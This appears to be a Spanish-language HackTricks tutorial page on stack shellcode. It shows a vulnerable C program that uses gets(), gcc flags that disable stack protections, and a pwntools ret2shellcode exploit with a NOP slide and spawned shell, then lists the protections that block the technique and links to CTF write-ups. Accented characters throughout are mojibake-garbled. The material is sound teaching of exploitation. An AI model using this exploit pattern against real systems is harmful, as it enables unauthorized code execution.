# Stack Shellcode {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Informaci贸n B谩sica **Stack shellcode** es una t茅cnica utilizada en **binary exploitation** donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el **Instruction Pointer (IP)** o **Extended Instruction Pointer (EIP)** para apuntar a la ubicaci贸n de este shellcode, causando que se ejecute. Este es un m茅todo cl谩sico utilizado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aqu铆 hay un desglose del proceso, incluyendo un ejemplo simple en C y c贸mo podr铆as escribir un exploit correspondiente usando Python con **pwntools**. ### Ejemplo en C: Un Programa Vulnerable Comencemos con un ejemplo simple de un programa C vulnerable: ```c #include #include void vulnerable_function() { char buffer[64]; gets(buffer); // Unsafe function that does not check for buffer overflow } int main() { vulnerable_function(); printf("Returned safely\n"); return 0; } ``` Este programa es vulnerable a un desbordamiento de b煤fer debido al uso de la funci贸n `gets()`. ### Compilaci贸n Para compilar este programa deshabilitando varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` * `-fno-stack-protector`: Desactiva la protecci贸n de pila. * `-z execstack`: Hace que la pila sea ejecutable, lo cual es necesario para ejecutar shellcode almacenado en la pila. * `-no-pie`: Desactiva el ejecutable independiente de posici贸n, facilitando la predicci贸n de la direcci贸n de memoria donde se ubicar谩 nuestro shellcode. * `-m32`: Compila el programa como un ejecutable de 32 bits, a menudo utilizado por simplicidad en el desarrollo de exploits. ### Python Exploit usando Pwntools Aqu铆 te mostramos c贸mo podr铆as escribir un exploit en Python usando **pwntools** para realizar un ataque **ret2shellcode**: ```python from pwn import * # Set up the process and context binary_path = './vulnerable' p = process(binary_path) context.binary = binary_path context.arch = 'i386' # Specify the architecture # Generate the shellcode shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell # Find the offset to EIP offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash # Prepare the payload # The NOP slide helps to ensure that the execution flow hits the shellcode. nop_slide = asm('nop') * (offset - len(shellcode)) payload = nop_slide + shellcode payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide # Send the payload p.sendline(payload) p.interactive() ``` Este script construye una carga 煤til que consiste en un **NOP slide**, el **shellcode**, y luego sobrescribe el **EIP** con la direcci贸n que apunta al NOP slide, asegurando que el shellcode se ejecute. El **NOP slide** (`asm('nop')`) se utiliza para aumentar la probabilidad de que la ejecuci贸n "deslice" hacia nuestro shellcode independientemente de la direcci贸n exacta. Ajusta el argumento `p32()` a la direcci贸n de inicio de tu buffer m谩s un desplazamiento para aterrizar en el NOP slide. ## Protecciones * [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **debe estar deshabilitado** para que la direcci贸n sea confiable a trav茅s de ejecuciones o la direcci贸n donde se almacenar谩 la funci贸n no siempre ser谩 la misma y necesitar铆as alguna filtraci贸n para averiguar d贸nde se carga la funci贸n win. * [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) tambi茅n deben estar deshabilitados o la direcci贸n de retorno EIP comprometida nunca ser谩 seguida. * La protecci贸n de **stack** [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) impedir铆a la ejecuci贸n del shellcode dentro de la pila porque esa regi贸n no ser谩 ejecutable. ## Otros Ejemplos y Referencias * [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) * [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html) * 64bit, ASLR con filtraci贸n de direcci贸n de pila, escribir shellcode y saltar a 茅l * [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html) * 32 bit, ASLR con filtraci贸n de pila, escribir shellcode y saltar a 茅l * [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html) * 32 bit, ASLR con filtraci贸n de pila, comparaci贸n para prevenir la llamada a exit(), sobrescribir variable con un valor y escribir shellcode y saltar a 茅l * [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) * arm64, sin ASLR, gadget ROP para hacer la pila ejecutable y saltar al shellcode en la pila {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}